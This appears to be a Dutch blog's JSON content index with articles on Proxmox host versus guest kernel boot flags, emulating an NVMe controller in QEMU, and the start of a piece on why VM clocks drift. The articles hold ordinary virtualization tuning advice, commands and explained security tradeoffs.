indirect_target_selection=off De eigen samenvatting van de kernel is \u0026ldquo;improves system performance, but it may also expose users to several CPU vulnerabilities\u0026rdquo;. L1TF, MDS en MMIO stale data zijn specifiek gast-naar-host- en gast-naar-gast-lekpaden, en kvm.nx_huge_pages is de iTLB-multihit-mitigation binnen KVM zelf.\nVerdedigbaar op een single-tenant-machine waar elke gast even vertrouwd is als de host. Niet verdedigbaar waar gasten niet-vertrouwd zijn of aan verschillende tenants toebehoren. En merk op dat het stapelt met pcie_acs_override: twee onafhankelijke isolatiegaranties verwijderd op dezelfde regel. De moeite waard om met opzet te doen in plaats van door overerving.\nPCIe Over USB4 Verandert Twee Hiervan Als je PCIe-apparaten over USB4 of Thunderbolt aankomen — een externe GPU of NVMe-behuizing — veranderen twee van de antwoorden hierboven.\nMPS-afstelling houdt op gratis te zijn Op vaste slots is pci=pcie_bus_perf een kleine gratis winst. De kernel beschrijft het als:\nSet device MPS to the largest allowable MPS based on its parent bus. Also set MRRS (Max Read Request Size) to the largest supported value… for best performance.\nDe haak is dat het bridges bij boot configureert, vanuit de topologie die bij boot aanwezig is. Over USB4 is hot-plug het normale geval, en een apparaat dat later wordt toegevoegd kan een kleinere MPS ondersteunen dan waarop de bridge al was ingesteld.\nDe kernel zegt het stille deel hardop terwijl hij een ander beleid adverteert:\npcie_bus_peer2peer — Set every device\u0026rsquo;s MPS to 128B, which every device is guaranteed to support… This also guarantees that hot-added devices will work.\nSlechts één beleid draagt die garantie, en het is degene die alles op 128 bytes vastpint — precies wat MaxPayloadSize-afstelling probeert te ontvluchten. Voor een hot-plug-topologie is pcie_bus_safe (de grootste waarde die alle apparaten onder het root-complex ondersteunen) of simpelweg tune_off laten het veiligere startpunt. De eigen switch van de tunnel begrenst de haalbare MPS toch, dus het plafond was nooit het jouwe om te verhogen.\nWaarom hot-plug het MPS-beleidsantwoord verandert Bij boot,\u0026#160;pcie_bus_perf\u0026#160;configureert de bridge vanuit wat hij kan zien bridge — MPS 512 apparaat A · 512 apparaat B · 512 aanwezig bij boot hot-added · alleen 256 mismatch niets heronderhandeld In een chassis gebeurt dat nooit — de topologie bij boot is de topologie voor altijd. Op een USB4-poort is het het normale geval. De vier beleidsregels, en welke de kernel hot-plug-veilig noemt pcie_bus_tune_off laat de BIOS-waarden met rust pcie_bus_safe grootste waarde die alle apparaten onder het root-complex ondersteunen pcie_bus_perf grootste die de parent bus toestaat, per apparaat — plus MRRS pcie_bus_peer2peer 128 B overal — \"guarantees that hot-added devices will work\" Slechts één beleid draagt die garantie, en het is degene die de payload-grootte weggooit waarvoor je afstelde. De bridge wordt één keer geconfigureerd, bij boot, vanuit de apparaten die er dan zijn. Alles daarna moet met de beslissing leven — wat prima is in een chassis en niet prima op een poort. De veiligheidsstapeling wordt serieus Externe PCIe betekent dat iemand een DMA-capabel apparaat in je hypervisor kan pluggen. De Thunderbolt-documentatie van de kernel is er direct over:\n…the connected devices can be DMA masters and thus read contents of the host memory without CPU and OS knowing about it. There are ways to prevent this by setting up an IOMMU but it is not always available for various reasons.\nDe IOMMU is de verdediging. Tel nu wat de host-regel eraan doet. iommu=pt geeft host-eigen apparaten onvertaalde identity-domeinen, pcie_acs_override beweert isolatie die er niet is, en mitigations=off schakelt de gast-isolatie-mitigations uit. Elk is op zichzelf verdedigbaar. Samen, op een machine met een fysiek bereikbare USB4-poort, stapelen ze op.\nControleer waar je staat:\ncat /sys/bus/thunderbolt/devices/domain*/security # none | user | secure | dponly | usbonly none naast die bootregel is een open deur. Als de poorten bereikbaar zijn voor mensen aan wie je geen root zou geven, is iommu=pt het eerste dat ik zou heroverwegen.\nDe Gast-Regel Dit zijn degene die binnen de VM horen, en drie ervan betekenen hier iets anders dan op de host.\nnmi_watchdog=0 softlockup_panic=0 cpuidle.off=1 cpuidle.off=1 schakelt het cpuidle-subsysteem uit. In een gast is dat vrijwel gratis: de idle-toestanden van de gast zijn emulatie, en er is geen fysieke core om te laten slapen, dus alles wat het framework je oplevert is wektijd. Op de host is dezelfde flag een echte vermogens- en boost-ruimte-afweging, en het overlapt processor.max_cstate=1. Alleen aan de gastkant.\nsoftlockup_panic=0 stopt een soft lockup ervan de gast te laten panieken. Dit is werkelijk beschermend in een VM, want een soft lockup daar is vaak niet de schuld van de gast. Een gedescheduleerde vCPU ziet er precies uit als een taak die weigerde te wijken. Dat is hetzelfde mechanisme achter waarom de klok van een VM niet te vertrouwen is. Controleer echter of je het nodig hebt. Het is standaard 0 op de meeste builds.\nsysctl kernel.softlockup_panic nmi_watchdog=0 is de interessante, en het verdient meer dan een regel.\nDe Watchdog-Vraag Er zijn twee detectoren die één drempel delen:\nwatchdog_thresh= — Set the hard lockup detector stall duration threshold in seconds. The soft lockup detector threshold is set to twice the value. A value of 0 disables both. Default is 10 seconds.\nHard lockup (nmi_watchdog) vuurt wanneer een CPU helemaal stopt met het nemen van timer-interrupts. Soft lockup vuurt wanneer een taak een CPU twee keer zo lang bezet houdt zonder te schedulen.\nIn een gast is het uitschakelen van de hard-lockup-detector juist. Een gedescheduleerde vCPU kan hem buiten zijn eigen schuld triggeren, en het perf-counter-werk van de detector veroorzaakt VM exits voor een signaal dat niks dan ruis was.\nOp de host is het een afweging, en het hangt af van welke ruis je werkelijk najaagt. Over-provisioning verhongert gasten, niet de host-kernel — de fysieke CPU\u0026rsquo;s van de host blijven interrupts nemen hoe vol de VM\u0026rsquo;s ook zijn. Dus de log-ruis die een drukke hypervisor uitwerpt is overweldigend soft lockup en RCU stall-berichten, geen NMI-hard-lockup-rapporten. Als dat de ruis is, zal nmi_watchdog=0 het niet stil krijgen, en softlockup_panic=0 ook niet — dat stopt de paniek, niet de berichten.\nDe gerichte knoppen zijn:\nwatchdog_thresh=30 # hard 30s, soft 60s — scale to taste nowatchdog # honest single flag: disables both detectors sysctl -w kernel.soft_watchdog=0 # runtime, keeps hard-lockup detection Er is een aparte en betere reden om de hard-lockup-detector op een drukke host uit te schakelen, die niets met ruis te maken heeft: hij verbruikt een hardware-performance-counter per CPU. Daarom accepteert de parameter rNNN om een raw perf-event te configureren. Als je PMU-gebaseerde profiling doet, of een bewust over-geprovisioneerde machine draait waar je latency-variantie al hebt geaccepteerd als de prijs van dichtheid, is die counter teruggeven een redelijke afweging — en kleine stalls waarvoor je bewust hebt getekend zijn geen incidenten.\nMaak de keuze alleen om die reden in plaats van om de ruis-reden, want maar een van beide is waar.\nconsoleblank=0 doet niets. De kernel documenteert de console-blank-timeout als \u0026ldquo;A value of 0 disables the blank timer. Defaults to 0.\u0026rdquo; Het staat al uit. Onschuldig, maar het is de tweede parameter in gangbare omloop die geen effect heeft, en het meedragen laat een regel doordacht lijken terwijl hij gekopieerd is.\nSnelle Referentie: Waar Elke Flag Thuishoort Flag Host Gast Opmerkingen iommu=pt ja nee Host bezit de IOMMU. Geldt alleen in een gast als je nested passthrough met een vIOMMU draait amd_iommu=pgtbl_v2 ja nee Host-DMA-API-domeinen. Verifieer dat je v2 kreeg in plaats van de v1-terugval amd_iommu=on — — Geen geldige optie. Kernel logt \u0026ldquo;Unknown option - \u0026lsquo;on\u0026rsquo;\u0026rdquo; pcie_acs_override=… ja nee Proxmox-patch, alleen host-topologie. Verzwakt isolatie per ontwerp pcie_aspm=off ja nee Er zijn geen echte PCIe-links in een gast; de host bezit de fysieke link pci=pcie_bus_perf ja niet betrouwbaar Host zet MPS op de draad. Gebruik in plaats daarvan pcie_bus_safe als apparaten over USB4 aankomen processor.max_cstate=1 ja nee Echte idle-toestanden zijn die van de host. Voeg intel_idle.max_cstate=1 toe op Intel amd_pstate=disable ja nee Gasten beheren de CPU-frequentie niet cpuidle.off=1 met zorg ja Gratis in een gast. Op de host kost het boost-ruimte en overlapt het max_cstate nmi_watchdog=0 afweging ja Juist in een gast. Op de host: doe het voor de PMU-counter, niet voor de ruis softlockup_panic=0 nee ja Gast-stalls zijn vaak de scheduler van de host. Doorgaans al de standaard consoleblank=0 — — No-op. Kernel-standaard is al 0 mitigations=off beide beide Geldig op beide, andere risicoberekening: gast-naar-host-lekken op de host, procesisolatie in de gast default_hugepagesz + hugepages= beide beide Host: VM-geheugen ondersteunen. Gast: een workload binnen de VM die ze wil. Verschillende doelen, dezelfde flags watchdog_thresh= / nowatchdog beide beide Host: stalls die je accepteerde stil krijgen. Gast: de detector was nooit betrouwbaar Drie horen werkelijk aan beide kanten, en het is de moeite waard precies te zijn dat \u0026ldquo;beide\u0026rdquo; niet \u0026ldquo;om dezelfde reden\u0026rdquo; betekent:\nmitigations=off op de host gaat over gast-naar-host- en gast-naar-gast-lekkage. Binnen een gast gaat het over procesisolatie binnen die VM. Je kunt het redelijkerwijs op de ene plek uitschakelen en op de andere niet. Hugepages op de host ondersteunen gast-RAM; in een gast ondersteunen ze een applicatie. Ze twee keer reserveren voor hetzelfde geheugen is verspilling, dus beslis welke laag ze wil. Watchdog-afstelling is een ruis-beslissing op de host en een correctheids-beslissing in de gast. Al het andere is de ene kant of de andere, en twee ervan zijn helemaal geen keuzes.\nDe Twee Regels Host, op een AMD-machine die passthrough doet, single-tenant:\nGRUB_CMDLINE_LINUX_DEFAULT=\u0026#34;quiet amd_iommu=pgtbl_v2 iommu=pt pcie_acs_override=downstream,multifunction pcie_aspm=off pci=pcie_bus_perf default_hugepagesz=1G hugepages=64 processor.max_cstate=1 amd_pstate=disable mitigations=off\u0026#34; Verwissel pci=pcie_bus_perf voor pcie_bus_safe als er iets over USB4 aankomt. Laat mitigations=off vallen als de gasten niet allemaal van jou zijn. Op Intel vervangt intel_iommu=on de AMD-flags en voegt intel_idle.max_cstate=1 zich bij de C-state-begrenzing.\nLinux-gast:\nGRUB_CMDLINE_LINUX_DEFAULT=\u0026#34;quiet nmi_watchdog=0 softlockup_panic=0 cpuidle.off=1\u0026#34; En laat kvm-clock met rust in de gast — forceer geen tsc of hpet. De paravirtuele klok bestaat juist omdat de counters niet de jouwe zijn. Dat is het hele argument in het VM-tijdregistratie-artikel.\nWat Te Verwijderen Als je een regel van een forumpost erfde, zijn deze twee de eerste dingen om te verwijderen, want ze kosten je niks en bewijzen dat de regel nooit getest is:\namd_iommu=on — geen geldige optie; de kernel logt \u0026ldquo;Unknown option - \u0026lsquo;on\u0026rsquo;\u0026rdquo; en gaat door consoleblank=0 — al de standaard En controleer de rest tegen /proc/cmdline na een herstart. Elke flag op die regel zou er een moeten zijn waarvoor je een reden kunt noemen.\nAls je niet kunt zeggen wat een flag doet, is het geen afstelling. Het is bijgeloof. En het wordt in de volgende build gekopieerd door iemand die je vertrouwt.\nReferenties Linux-kernel — de commandoregelparameters van de kernel — mitigations=, default_hugepagesz=, hugepages=, watchdog_thresh=, nowatchdog, consoleblank=, processor.max_cstate=, amd_pstate=, amd_iommu= en de pci=pcie_bus_*-beleidsregels Linux-kernel bron — drivers/iommu/amd/init.c — parse_amd_iommu_options(), en de v2-page-table-capability-check die terugvalt op v1 Linux-kernel bron — arch/x86/kernel/pci-dma.c — iommu=pt die iommu_set_default_passthrough() aanroept Linux-kernel — Thunderbolt — beveiligingsniveaus, en verbonden apparaten als DMA-masters Proxmox VE — System Administration — proxmox-boot-tool status, de kernel-commandoregel bewerken voor systemd-boot versus GRUB ","permalink":"https://blogs.damiendye.uk/nl/proxmox/kernel-boot-flags-host-guest/","summary":"De meeste Proxmox-afstelregels die je online vindt zijn één brok kernel-flags. De helft hoort op de hypervisor, de helft hoort binnen de gast, twee van de populaire doen helemaal niets, en een paar veranderen van betekenis afhankelijk van welke kant van de grens ze landen.","title":"Twee Bootregels — Welke Kernel-Flags Horen op een Proxmox-Host, en Welke Horen in de Gast"},{"content":"Waarom Je Er Een Zou Willen QEMU kan een echte NVMe-controller emuleren — geen paravirtueel apparaat dat een driver nodig heeft die jij levert, maar een PCIe-NVMe-controller die een gast als een gewone SSD herkent en aanstuurt met de NVMe-ondersteuning die hij al heeft.\nDat is de hele aantrekkingskracht, en het is meer waard dan het klinkt.\nLinux heeft al jaren een ingebouwde nvme-driver. Windows levert stornvme sinds Windows 8.1 en Server 2012 R2. Dus een gast boot, enumereert een PCIe-NVMe-controller, laadt zijn eigen driver en vindt een schijf. Geen VirtIO-ISO, geen driver-injectie bij installatie, en geen \u0026ldquo;no drives found\u0026rdquo;-scherm halverwege een Windows-installer.\nIedereen die naar dat scherm heeft zitten kijken, met de VirtIO-ISO gemount en de installer nog steeds vasthoudend dat er geen schijven zijn, ziet de aantrekkingskracht meteen.\nDe tweede reden is dat het zich helemaal naar boven als NVMe gedraagt. nvme-cli werkt. Namespaces zijn echt. LBA-formaten, metadata-bytes en protection information zijn allemaal configureerbaar. Wat het een zeer goede plek maakt om de operaties te oefenen die je niet zou moeten oefenen op hardware die data bevat.\nHoe Je Er Een Toevoegt Proxmox heeft hier geen GUI-vinkje of config-sleutel voor. Het is een raw QEMU-apparaat, dus het gaat in args: in /etc/pve/qemu-server/\u0026lt;vmid\u0026gt;.conf.\nDe QEMU-documentatie geeft het minimale paar: een backing-drive zonder interface, en de controller die het verbruikt. Rechtstreeks in /etc/pve/qemu-server/\u0026lt;vmid\u0026gt;.conf bewerkt, zonder quotes:\nargs: -drive file=/var/lib/vz/images/100/nvm.img,if=none,id=nvmidentifier -device nvme,serial=LAB-NVME-01,drive=nvmidentifier if=none doet ertoe: het vertelt QEMU de drive niet aan een standaardcontroller te koppelen, want de -device nvme-regel gaat hem claimen. De id= op de drive en de drive= op het apparaat moeten overeenkomen. Die koppeling is wat de twee helften verbindt.\nDe serial= is verplicht; QEMU weigert de VM zonder er een te starten. Kies iets dat je herkent, want het is precies wat de gast terugrapporteert in nvme list en smartctl, en \u0026ldquo;welke van deze vier identieke virtuele schijven is welke\u0026rdquo; is een vraag die je uiteindelijk zult stellen.\nQuoten: Het Stuk Dat Iedereen Verrast Of je die string quote hangt af van waar je hem typt, en het verkeerd om krijgen is de meest voorkomende reden dat een van deze bij de eerste poging faalt.\nProxmox slaat de args:-waarde op en splitst hem later met Text::ParseWords::shellwords. Dus in het configbestand worden quotes gehonoreerd en verwijderd. Een volledig gequote string wordt een enkel argument:\n# WRONG in the config file — collapses to one argv element QEMU cannot parse args: \u0026#34;-drive file=…,if=none,id=nvmidentifier -device nvme,serial=…,drive=nvmidentifier\u0026#34; Door shellwords gehaald levert dat precies één element op. Zonder quotes levert dezelfde regel de vier die QEMU werkelijk nodig heeft: -drive, zijn parameterblok, -device, zijn parameterblok.\nOp de commandoregel is het andersom, want daar quote je voor je shell, niet voor Proxmox. Hier zijn de quotes vereist, en wat in de config wordt opgeslagen is de gequote-vrije waarde:\nqm set 100 --args \u0026#34;-drive file=/var/lib/vz/images/100/nvm.img,if=none,id=nvmidentifier -device nvme,serial=LAB-NVME-01,drive=nvmidentifier\u0026#34; Beide zijn correct. Ze zijn alleen niet uitwisselbaar. Als je de regel bouwt met qm set, controleer het resultaat daarna met qm config 100 en je zult zien dat hij kaal is opgeslagen. Dat is de vorm die het configbestand wil.\nMaak eerst het backing-image aan als het niet bestaat:\nqemu-img create -f raw /var/lib/vz/images/100/nvm.img 32G Meer Dan Eén Namespace Voor alles voorbij een enkele schijf, splits de controller van zijn namespaces:\n-device nvme,id=nvme-ctrl-0,serial=deadbeef -drive file=nvm-1.img,if=none,id=nvm-1 -device nvme-ns,drive=nvm-1 Namespace-identifiers worden automatisch vanaf 1 omhoog toegewezen. Dit is de configuratie die het apparaat werkelijk nuttig maakt om te leren, want namespace-beheer is het deel van NVMe dat de meeste mensen nooit aanraken.\nEen 4Kn Virtuele Namespace De namespace neemt de gebruikelijke blokgrootte-eigenschappen, en QEMU leidt de LBA-datagrootte er rechtstreeks uit af. hw/nvme/ns.c berekent de format-exponent als ds = 31 - clz32(ns-\u0026gt;blkconf.logical_block_size). Dus dit geeft je een echte 4K-native namespace:\n-device nvme-ns,drive=nvm-1,logical_block_size=4096,physical_block_size=4096 Het namespace-apparaat accepteert ook ms voor metadata-bytes per LBA, mset voor extended LBAs, en pi en pif voor protection-information-type en guard-formaat.\nDat is een compleet laboratorium voor alles in het 4Kn- en 512e-artikel — logische blokken van 512 byte versus 4096 byte, metadata-dragende formaten, T10-PI — op een apparaat dat je zo vaak kunt vernietigen als je wilt.\nControleer Dat Het Aankwam Van binnen de gast:\nlsblk -o NAME,MODEL,SIZE,LOG-SEC,PHY-SEC nvme list nvme id-ns -H /dev/nvme0n1 | grep -i \u0026#34;lbaf\\|data size\u0026#34; Je zou een echte NVMe-namespace moeten zien, met de blokgroottes waar je om vroeg.\nWat Je Opgeeft Drie dingen, en de eerste twee zijn geen prestatie-afwegingen. Het zijn capability-verwijderingen. Ken ze voordat je iets op het apparaat zet.\nWat Proxmox beheert, en waar een args-gekoppeld apparaat buiten staat In de VM-config, als drive scsi0: local-zfs:vm-100-disk-0,iothread=1 Proxmox bezit het volume en weet dat het bestaat Inbegrepen in vzdump / PBS-backups ja PVE-snapshots ja Live migratie ja Resize en Move Disk in de GUI ja Meegeteld in de storageweergave ja Gekoppeld via args: -device nvme,drive=nvm1,serial=… een raw QEMU-apparaat — PVE weet er niets van Inbegrepen in backups nee PVE-snapshots nee Live migratie nee Resize and Move Disk nee Meegeteld in de storageweergave nee Slechts een van die \"nee\"s kondigt zichzelf aan. Live migratie faalt met een fout, want QEMU markeert het apparaat niet-migreerbaar. De backup slaagt simpelweg zonder de schijf erin — wat is waarom dit in je runbook hoort, niet alleen in je geheugen. Proxmox beheert wat er in de VM-config als drive staat. Een args-gekoppelde controller staat daarbuiten, dus elke feature die op de storagelaag is gebouwd is er simpelweg niet op van toepassing. 1. Live Migratie Is Uit Dit is geen Proxmox-beperking of een omissie. QEMU verklaart het apparaat niet-migreerbaar in het device model zelf. Uit hw/nvme/ctrl.c in QEMU 10.2:\nstatic const VMStateDescription nvme_vmstate = { .name = \u0026#34;nvme\u0026#34;, .unmigratable = 1, }; Drie regels, en de middelste is het hele verhaal. De controller heeft geen migratiestatus, dus QEMU weigert de migratie in plaats van hem te proberen. Dat is de juiste fout. Je krijgt een foutmelding, geen gast die op een andere node hervat met een verwarde schijf.\nEr is een tweede, onafhankelijke reden dat het niet kan werken: Proxmox weet niet dat de schijf bestaat. Zelfs als QEMU de apparaattoestand kon verplaatsen, zou niets in de migratielogica van PVE ervoor zorgen dat het backing-volume beschikbaar is op het doel.\nDe moeite waard in de gaten te houden echter: de ontwikkeltak van QEMU heeft de allesomvattende flag vervangen door een nvme_set_migration_blockers()-functie die migratie toestaat en die alleen voor specifieke features blokkeert. Meer dan één namespace bijvoorbeeld, waar het commentaar opmerkt \u0026ldquo;we don\u0026rsquo;t handle this in migration code yet\u0026rdquo;. Dat is niet verschenen in een release tot en met 10.2, dus het helpt je vandaag niet, maar deze beperking lijkt waarschijnlijk te verzachten. Controleer je eigen QEMU-versie in plaats van een artikel te vertrouwen.\n2. Proxmox-Backups Zullen Het Niet Zien vzdump en Proxmox Backup Server backuppen de volumes die in de VM-config als drives verschijnen — scsi0, virtio0, enzovoort. Een schijf gekoppeld via args: is niet een daarvan. Het is een raw QEMU-apparaat waar PVE niks van weet.\nDus de backup draait, meldt succes, en bevat het apparaat niet.\nDie faalmodus is erger dan een foutmelding, want niets vertelt het je. Hetzelfde geldt over de hele linie: geen PVE-snapshots, geen schijfvergroting vanuit de GUI, geen Move Disk, geen boekhouding in de storageweergave. Als je het volume via PVE aanmaakte en het daarna loskoppelde, ruimt PVE het mogelijk ook niet op. Een wees die wacht om iemand later te verwarren.\nAls er data op een van deze gaat leven, backup het van binnen de gast, en schrijf ergens op dat de hypervisor het niet dekt.\n3. Het Is Niet Sneller Dan VirtIO SCSI Deze verrast mensen, want \u0026ldquo;NVMe\u0026rdquo; leest als een prestatiefeature. Hier is het er geen.\nVirtIO SCSI en VirtIO block zijn paravirtueel: de gastdriver en de hypervisor delen een ring buffer die precies voor deze klus is ontworpen, en de gast weet dat hij met een hypervisor praat.\nDe geëmuleerde NVMe-controller is per ontwerp het tegenovergestelde. Hij presenteert echte NVMe-registers, dus de gast programmeert hem alsof het hardware was. Elke doorbell-write is een MMIO-toegang die naar de hypervisor trapt. Correct, en duurder per IO dan een descriptor op een ring zetten.\nEen gedeelde ring versus geëmuleerde registers gast │ hypervisor VirtIO SCSI — paravirtueel gastdriver weet dat het een VM is gedeelde ring beide uiteinden begrijpen het host block layer 1 notify Een descriptor gaat op de ring en de host wordt genotificeerd. De ring overschrijdt de grens met opzet. Geëmuleerde NVMe — echte registers gastdriver denkt dat het hardware is NVMe registers doorbells, queues, MMIO host block layer elke doorbell-write trapt trap + emulate, per IO De gast doet precies wat hij met een fysieke controller zou doen, wat het punt is — zijn eigen driver werkt ongewijzigd. Het is ook waarom dit een compatibiliteitsfeature is en geen prestatiefeature. Interrupt coalescing wordt niet ondersteund en staat standaard uit: correct hardwaregedrag, tegen de kosten van hardware emuleren. Het paravirtuele pad is een ring die de gast en host allebei begrijpen. Het geëmuleerde pad laat de gast registers aansturen, en elke doorbell-write is een trap — accuraat hardwaregedrag, tegen hardware-emulatiekosten. QEMU\u0026rsquo;s eigen documentatie is ook openhartig over de ruwe randjes van het apparaat: interrupt coalescing \u0026ldquo;is not supported and is disabled by default\u0026rdquo;, en de boekhoudgetallen in de SMART/Health-logpagina \u0026ldquo;are reset when the device is power cycled\u0026rdquo;.\nNiets daarvan maakt het traag in absolute termen. Het is prima bruikbaar. Het betekent alleen dat je het nooit zou moeten kiezen in de hoop op meer doorvoer dan VirtIO SCSI je geeft. Kies het voor de driver, of voor de NVMe-semantiek.\nWaar Het Zijn Plaats Werkelijk Verdient Een gast installeren zonder VirtIO-media. Een Windows-installer die geen VirtIO SCSI-schijf kan zien, ziet een NVMe-schijf, want de driver zit al in het image. Installeer erop, en beslis dan of je daarna naar VirtIO overschakelt. Appliances en images die je niet beheert. Alles wat als vast image wordt geleverd en VirtIO-drivers mist, en dat je liever niet herbouwt. Leren en labwerk. nvme format --lbaf, namespace-aanmaak en -koppeling, metadata en protection information — de operaties die destructief en vendorafhankelijk zijn op echte hardware zijn hier gratis. Dit is de veiligste manier om het spiergeheugen op te bouwen voordat je een schijf aanraakt die ertoe doet. De topologie van iemand anders reproduceren. Als je de NVMe-indeling van een klant debugt, is een geëmuleerde controller met bijpassende namespaces en blokgroottes een veel snellere lus dan hun hardware lenen. Wat Te Gebruiken In Productie In Plaats Daarvan Voor een VM die prestatie, PVE-features en een rustig leven nodig heeft: VirtIO SCSI single, met iothread=1, discard=on en ssd=1, op cache=none. Dat is de regeling die live migratie, backups, snapshots en de storageweergave allemaal aan het werk houdt.\nVoor een VM die de laatste paar procent nodig heeft en die features met opzet kan opgeven, is het antwoord geen geëmuleerd NVMe-apparaat. Het is echte passthrough, met zijn eigen harde afwegingen, behandeld in het IOMMU-tax-artikel.\nHet geëmuleerde NVMe-apparaat zit in geen van beide kampen. Het is dan ook een compatibiliteits- en labgereedschap, en het is daar heel goed in.\nGebruik het voor de klus waar het goed in is en het zal je niet in de steek laten. Vraag het een prestatiefeature te zijn en het zal je zeer prompt in de steek laten.\nReferenties QEMU — NVMe Emulation — de -drive/-device nvme-syntaxis, nvme-ns voor meerdere namespaces, de ms/mset/pi/pif-namespace-parameters, en de vermelde beperkingen op interrupt coalescing en SMART-boekhouding QEMU-bron — hw/nvme/ctrl.c — de nvme_vmstate-declaratie met .unmigratable = 1 in de 10.2-release QEMU-bron — hw/nvme/ns.c — de namespace die zijn LBA-formaat afleidt uit logical_block_size Proxmox VE — Backup and Restore — wat vzdump dekt, en de backup-opties per volume die bestaan voor drives die PVE beheert Proxmox VE — Qemu/KVM Virtual Machines — VirtIO SCSI, iothread, discard en de ondersteunde schijfopties ","permalink":"https://blogs.damiendye.uk/nl/proxmox/virtual-nvme-proxmox/","summary":"QEMU kan een echte NVMe-controller emuleren, zodat de gast zijn eigen ingebouwde NVMe-driver gebruikt zonder dat er VirtIO-media nodig zijn. Het is ook per ontwerp niet-migreerbaar, onzichtbaar voor Proxmox-backups, en niet sneller dan VirtIO SCSI. Hier is hoe je er een toevoegt en wanneer het de moeite waard is.","title":"Een Virtueel NVMe-Apparaat in Proxmox — en de Drie Dingen Die Je Opgeeft"},{"content":"De aanname die elke klok doet De klok van een computer werkt door iets regelmatigs te tellen en erop te vertrouwen dat het blijft doortellen. Een kristal trilt, een teller loopt op, en software rekent uit hoeveel tijd er is verstreken.\nVirtualisatie maakt het vertrouwende deel stuk.\nDe eigen documentatie over tijdmeting in KVM van de kernel zet het probleem in één zin: “the virtual operating system does not run with 100% usage of the CPU, despite the fact that it may very well make that assumption.” Al het onderstaande volgt daaruit.\nJe vCPU draait niet altijd Een vCPU is een thread op de host. Hij draait wanneer de planner van de host dat zegt.\nDraait hij niet, dan is de gast niet slechts inactief — hij is afwezig. Hij kan niet tellen, hij kan geen timerinterrupt afhandelen, en hij heeft geen enkele manier om te weten hoe lang hij weg was. De host houdt dat bij als steal time, de eerlijke naam voor “tijd die jou is overkomen in plaats van voor jou is gebeurd”.\nTimerinterrupts zijn waar dit het hardst aankomt. Een gast die om een periodieke tik vraagt, vraagt de host interrupts op een vast tempo te bezorgen, en dat kan de host niet altijd waarmaken. Weer uit de documentatie van de kernel: “the host virtualization engine may not be able to deliver the proper number of interrupts per second, and so guest time may fall behind.”\nWaarom de timertikken van een gast niet meer gelijk verdeeld zijn Bare metal — de CPU is altijd van jou draait timertikken, gelijk verdeeld — ze tellen geeft je de tijd In een VM — de vCPU is een thread op iemand anders zijn planner draait van de kern gehaald van de kern gehaald tikken die in de gaten hoorden komen te laat, of in bosjes, of helemaal niet De gast kan de gestreepte periodes niet zien. Van binnen leverde de klok gewoon minder tikken dan hij had moeten leveren — en daarom zegt de kerneldocumentatie dat de tijd van een gast “may fall behind” als de host de gevraagde interrupts niet kan bezorgen. De host noemt de gestreepte stukken steal time. De gast noemt ze helemaal niets, want hij was er niet. De eigen kijk van de gast is de onderste rij: tikken die te laat komen, tikken die in bosjes komen, en gaten die hij niet kan verantwoorden. Hij meet net zo goed de planner van de host als het verstrijken van de tijd. Hoe hoger het tiktempo, hoe erger het wordt, en een overboekte host maakt het nog erger. Dit is ook waarom een drukke host de tijdmeting van stille gasten verslechtert. Ze staan allemaal in de rij voor dezelfde fysieke kernen.\nDe tellers zijn ook niet van jou Zijn periodieke tikken onbetrouwbaar, dan is het voor de hand liggende antwoord om in plaats daarvan een teller te lezen. Dat heeft zijn eigen problemen.\nDe TSC is de snelle, en de documentatie van de kernel is er bot over: “The TSC is a CPU-local clock in most implementations… the TSCs of different CPUs may start at different times.” Zijn tempo kan meebewegen met de energietoestanden van de processor, en op oudere onderdelen stopt hij helemaal als de kern niets doet. Een vCPU die tussen fysieke kernen verhuist kan dus een teller lezen die niet overeenkomt met degene die hij een microseconde eerder las.\nDe alternatieven zijn op een andere manier slechter. De HPET, de PIT en de ACPI PM-timer zijn allemaal nagebootste apparaten, dus elke leesactie is een val naar de hypervisor. Correct, en duur genoeg dat een gast die de klok in een hete lus leest het merkt.\nDaarom bestaan paravirtuele klokken. Op KVM laat kvm-clock de host zijn eigen tijdmeting publiceren in een gedeelde structuur die de gast direct leest: geen val, geen tellen, geen aanname dat de gast wakker was. Daarom moet je ook de clocksource van de gast met rust laten in plaats van tsc of hpet af te dwingen omdat een forumbericht zei dat het sneller was.\nMigratie, snapshots en pauzeren Live migratie, een snapshot terugzetten en pauzeren/hervatten doen alle drie hetzelfde met de klok van een gast: ze zetten hem stil, en starten hem dan ergens anders weer.\nWat de gast ziet is geen wegdrijven, het is een stap. De klok was de ene waarde, en nu is hij een andere, met niets ertussen. Migreren naar een host waarvan de TSC op een andere frequentie loopt, maakt het erger.\nStapveranderingen doen ertoe omdat de software die klokken bijstelt is gebouwd om wegdrijven bij te stellen, niet teleportatie.\nDit is geen KVM-probleem Het is verleidelijk al het bovenstaande te lezen als een tekortkoming van KVM. Dat is het niet.\nElke hypervisor levert een paravirtuele klok, want elke hypervisor heeft hetzelfde structurele probleem: KVM heeft kvm-clock, Hyper-V heeft zijn reference TSC page, VMware heeft een pseudo-prestatieteller plus synchronisatie via Tools, Xen heeft zijn pvclock. Dat zijn vier onafhankelijke uitvoeringen van één omweg.\nDe eigen conclusie van de kerneldocumentatie is dat er hier geen perfecte oplossing bestaat. Alleen afwegingen tussen nauwkeurigheid, prestaties en complexiteit.\nWil je het van een leverancier in plaats van van kernelontwikkelaars, dan is de ondersteuningsgrens van Microsoft voor hoge tijdnauwkeurigheid opmerkelijk openhartig. Om 50 ms nauwkeurigheid op een gevirtualiseerd Windows-systeem te claimen, is een van de gestelde eisen dat “the one-day average CPU utilization of the host must not exceed 90%.” Voor 1 ms moet de host onder 80% blijven.\nLees dat nog eens: de nauwkeurigheid van de klok van de gast is gedocumenteerd als voorwaardelijk aan hoe druk de host is. Dat is geen eigenaardigheid van Windows, het is dezelfde natuurkunde die de kerneldocumentatie beschrijft, opgeschreven als ondersteuningsgrens.\nDe drie lagen van tijdmeting in een gast, en welke de gast echt bezit Synchronisatie met de wandklok hoe laat het echt is NTP over het netwerk jitter, asymmetrie, stratum ptp_kvm-hypercall vraagt het de host direct Paravirtuele klok de host publiceert zijn eigen tijdmeting Elke hypervisor levert er een, want ze hebben allemaal dit probleem: kvm-clock Hyper-V TSC page VMware pseudo-perf Xen pvclock vier onafhankelijke uitvoeringen van één omweg Hardwaretellers in een VM niet van jou TSC HPET PIT ACPI PM timer CPU-lokaal, wisselend of nagebootst — elke leesactie valt terug op de hypervisor Bovenaan bezit de gast zijn keuze. De middelste laag is de hypervisor die hem een klok leent die de hele tijd wel liep. Drie lagen, en de gast bezit alleen de bovenste echt. De paravirtuele klok van elke hypervisor bestaat om dezelfde ontbrekende garantie in de laag eronder te omzeilen. Waarom NTP binnen de gast het verkeerde 